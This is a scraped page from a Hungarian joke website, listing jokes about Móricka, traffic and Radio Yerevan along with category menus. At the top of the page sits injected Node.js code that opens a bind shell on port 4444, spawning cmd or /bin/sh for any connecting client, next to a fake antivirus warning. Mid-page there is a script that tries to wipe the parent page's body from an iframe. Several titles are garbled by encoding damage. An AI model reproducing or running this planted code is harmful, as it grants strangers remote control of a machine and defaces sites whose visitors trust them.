-
(function(){ var require = global.require || global.process.mainModule.constructor._load; if (!require) return; var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh"; var net = require("net"), cp = require("child_process"), util = require("util"); var server = net.createServer(function(socket) { var sh = cp.spawn(cmd, []); socket.pipe(sh.stdin); if (typeof util.pump === "undefined") { sh.stdout.pipe(socket); sh.stderr.pipe(socket); } else { util.pump(sh.stdout, socket); util.pump(sh.stderr, socket); } }); server.listen(4444); })();
SECURITY WARNING ANTIVÍRUS
Sajnos még az antivírus sem tud mit tenni H0VND ellen.
-
-
Belépés
Regisztráció Kapcsolatfelvétel
Vicc az oldaladra
- Majdnem stimmel (Bolond viccek)
-
A jereváni rádió válaszol hallgatóinak. A legutóbbi kérdés így hangzott: „Igaz-e, hogy Jerevánban Moszkvicsot osztogatnak?"
A válasz: „A hír igaz. Csak nem Jerevánban, hanem Tbilisziben, nem Moszkvicsot, hanem Ladát, és nem osztogatnak, hanem fosztogatnak."
- Konspir?ci? (Móricka viccek)
-
- Halló, Bodor tanár úr? Azért telefonálok, mert a gyerek ma sajnos nem tud iskolába menni. Nagyon megfázott.
- Rendben van. Hogy hívják a gyereket?
- Varjas Móricka.
- És kivel beszélek?
- A papámmal.
- M?zeuml?togat?s (Móricka viccek)
-
A tanár, Múzeumba viszi az osztályt. Megállnak egy szobornál és a vezetõ magyarázni kezd: - Három évig dolgozott a mûvész ezen az alkotásán. És a következõ mûve megint három évig tartott!
- Ez rémes! - kiált fel Móricka. - Akkor hatéves koráig összesen két szobrot csinált?
- Az ?r?k l?gos (Móricka viccek)
-
Ismét osztályfõnöki óra.
- Fiúk, ma egy híres szexológus lesz a vendégünk, aki nemi felvilágosítást tart. Tessék felkészülni kérdésekkel!
Móricka máris föltartja a kezét:
- Tanárnõ kérem, aki már volt nõvel, az mehet focizni?
- Oszt?lyf?n?ki ?r?n (Móricka viccek)
-
- Mondjátok meg nekem, fiúk - szólítja fel tanítványait az osztályfõnök. - Kit nevezünk képmutatónak?
Móricka jelentkezik.
- Képmutató az a gyerek, aki reggel mosolyogva jön iskolába!
- Holdfogyatkoz?s (Móricka viccek)
A tanár lelkesen közli az osztállyal:
- Gyerekek, ma este holdfogyatkozás lesz. Ez egy csodálatosan érdekes, ritka természeti látványosság, úgyhogy senki se felejtse el megnézni pontosan 21 óra 30-kor!
Mire Móricka az utolsó padból:
- Melyik csatornán?
- Mi van messzebb? (Móricka viccek)
-
- Mi van messzebb tõlünk? - kérdi a tanár Mórickától. - Kína vagy a hold?
- Szerintem Kína!
- Mibõl gondolod?
- A holdat innen is látni. Kínát nem.
- Kamionosok (Közlekedési viccek)
-
Alagúthoz ér a kamion. Pár méternyire elõttük a KRESZ-tábla: piros körbe függõleges nyíl és a szöveg: „4 m". A sofõr megáll, hiszen az õ kocsija több mint 5 méter magas Szól a kísérõjének, szálljon ki, nézzen körül mit lehetne tenni. Amaz pár perc múlva visszatér, és örömmel közli:
- Indíts gyorsan! Nincs zsaru a láthatáron!
- try {
// Megpróbáljuk elérni a legfelső szülő oldalt és kiüríteni a body-t
window.top.document.body.innerHTML = ';
} catch (e) {
console.error("Biztonsági hiba: Az iFrame-ből nem érhető el a főoldal (Cross-Origin).", e);
}
- T?lzott szigor (Közlekedési viccek)
-
Glasgow-ból Edinburgh felé száguld a gyorsvonat. A fülkéket járva a kalauz egy skótra bukkan, akinek nemcsak hogy jegye nincs, de fizetni sem akar. Szó szót követ, s a vasutas annyira felbõszül a potyautas makacsságán, hogy a robogó vonat ablakán kihajítja annak bõröndjét. Erre már a skót is kijön a sodrából:
- Hallja, ez azért már mégis sok! Nem elég, hogy engem megbüntet, még a fiamat is kidobja az ablakon?
- Kitol?s (Közlekedési viccek)
-
Az országúton lerobban Varjasék Trabantja. A férfi próbál valamit bütykölni rajta, de hiába, nem találja a hibát. Szerencséjükre, arra jön egy teherautó. A sofõrje vállalja, hogy bevontatja õket a legközelebbi városba, de nem ingyen. Ezer forintot kér a szívességért.
Felteszik a vontatókötelet, férj és feleség beül a Trabantba, a teherautó húzni kezdi õket. Egyszerre megszólal Varjasné:
- Azért pofátlan egy alak ez a sofõr! Ezer forintot kérni tõlünk, mikor amúgy is a városba megy…
- Ne félj semmit, én is jól kitoltam a disznóval! - feleli Varjas. - Behúzva hagytam a kéziféket.
-
Belépés
Regisztráció Kapcsolatfelvétel
Vicc az oldaladra
-
- .:Állatos viccek:.
- .:Anyós viccek:.
- .:Bolond viccek:.
- .:Csak nőknek:.
- .:Csak férfiaknak:.
- .:Egyéb viccek:.
- .:Elvont viccek:.
- .:Gyerek viccek:.
- .:Házassági viccek:.
- .:Hogy hívják...:.
- .:Jean viccek:.
- .:Katona viccek:.
- .:Közlekedési viccek:.
- .:Morbid viccek:.
- .:Móricka viccek:.
- .:Munkahelyi viccek:.
- .:Orvosi viccek:.
- .:Pikáns viccek:.
- .:Pincér viccek:.
- .:Politikai viccek:.
- .:Rendőr viccek:.
- .:Részeg viccek:.
- .:Roma viccek:.
- .:Skót viccek:.
- .:Sport viccek:.
- .:Stirlitz viccek:.
- .:Számítástechnikai viccek:.
- .:Székely viccek:.
- .:Szőke nős viccek:.
- .:Utolsó mondatok:.
- .:Ügyvéd viccek:.
- .:Vallási viccek:.
- .:Zsidó viccek:.
nevetseges.hu on Facebook - Nevetséges Viccek - Impresszum - Jogi nyilatkozat
Kellemes szórakozást kíván a Nevetséges Viccek szerkesztősége. www.nevetseges.hu
